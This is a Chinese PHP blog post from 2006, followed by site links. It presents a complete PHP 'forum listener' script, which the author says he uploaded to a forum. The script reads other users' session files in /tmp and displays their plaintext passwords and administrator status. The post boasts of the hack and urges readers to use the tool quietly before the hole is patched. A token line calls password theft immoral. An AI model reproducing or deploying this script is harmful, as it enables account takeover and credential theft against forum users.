一个查看session内容的函数


Posted in PHP onOctober 09, 2006

之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
  return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

PHP 相关文章推荐
ftp类(myftp.php)
Oct 09 PHP
php at(@)符号的用法简介
Jul 11 PHP
php函数的常用方法及注意之处小结
Jul 10 PHP
PHP源代码数组统计count分析
Aug 02 PHP
PHP在不同页面间传递Json数据示例代码
Jun 08 PHP
php检测用户是否用手机(Mobile)访问网站的类
Jan 09 PHP
PHP中require和include路径问题详解
Dec 25 PHP
浅析iis7.5安装配置php环境
May 10 PHP
PHP自毁程序(慎用)
Jul 09 PHP
PHP自定义函数获取URL中一级域名的方法
Aug 23 PHP
php导出csv文件,可导出前导0实例代码
Nov 16 PHP
Ubuntu上安装yaf扩展的方法
Jan 29 PHP
一个显示天气预报的程序
Oct 09 #PHP
web方式ftp
Oct 09 #PHP
php中文本数据翻页(留言本翻页)
Oct 09 #PHP
自己动手做一个SQL解释器
Oct 09 #PHP
GD输出汉字的函数的分析
Oct 09 #PHP
类的另类用法--数据的封装
Oct 09 #PHP
最小化数据传输――在客户端存储数据
Oct 09 #PHP
You might like
使用PHP+AJAX让WordPress动态加载文章的教程
2015/12/11 PHP
php版银联支付接口开发简明教程
2016/10/14 PHP
PHP精确计算功能示例
2016/11/29 PHP
jQuery hover 延时器实现代码
2011/03/12 Javascript
40个有创意的jQuery图片和内容滑动及弹出插件收藏集之三
2012/01/03 Javascript
Jquery图形报表插件 jqplot简介及参数详解
2012/10/10 Javascript
jQuery通过控制节点实现仅在前台通过get方法完成参数传递
2015/02/02 Javascript
js实现多选项切换导航菜单的方法
2015/02/06 Javascript
JS根据生日算年龄的方法
2015/05/05 Javascript
Bootstrap实现下拉菜单效果
2016/04/29 Javascript
IScroll5 中文API参数说明和调用方法
2016/05/21 Javascript
JSON字符串转换JSONObject和JSONArray的方法
2016/06/03 Javascript
js返回顶部实例分享
2016/12/21 Javascript
小程序分享模块超级详解(推荐)
2019/04/10 Javascript
剖析Django中模版标签的解析与参数传递
2015/07/21 Python
Python闭包函数定义与用法分析
2018/07/20 Python
python爬虫框架scrapy实现模拟登录操作示例
2018/08/02 Python
用Python和WordCloud绘制词云的实现方法(内附让字体清晰的秘笈)
2019/01/08 Python
使用python实现飞机大战游戏
2020/03/23 Python
django queryset 去重 .distinct()说明
2020/05/19 Python
Django中Aggregation聚合的基本使用方法
2020/07/09 Python
Python特殊属性property原理及使用方法解析
2020/10/09 Python
前端实现背景虚化但内容清晰且自适应 的实例代码
2019/08/01 HTML / CSS
利用异或运算实现两个无符号数的加法运算
2013/12/20 面试题
JSP和Servlet有哪些相同点和不同点,他们之间的联系是什么?
2015/10/22 面试题
国外的一些J2EE面试题一
2012/10/13 面试题
物业管理求职自荐信
2013/09/25 职场文书
党校自我鉴定范文
2013/10/02 职场文书
毕业生应聘幼儿园的自荐信
2013/11/20 职场文书
益达广告词
2014/03/14 职场文书
2014年学习部工作总结
2014/11/12 职场文书
工人先锋号事迹材料
2014/12/24 职场文书
幼儿园小班教师个人工作总结
2015/02/06 职场文书
2019让人心动的商业计划书
2019/06/27 职场文书
Django debug为True时,css加载失败的解决方案
2021/04/24 Python
vue+springboot实现登录验证码
2021/05/27 Vue.js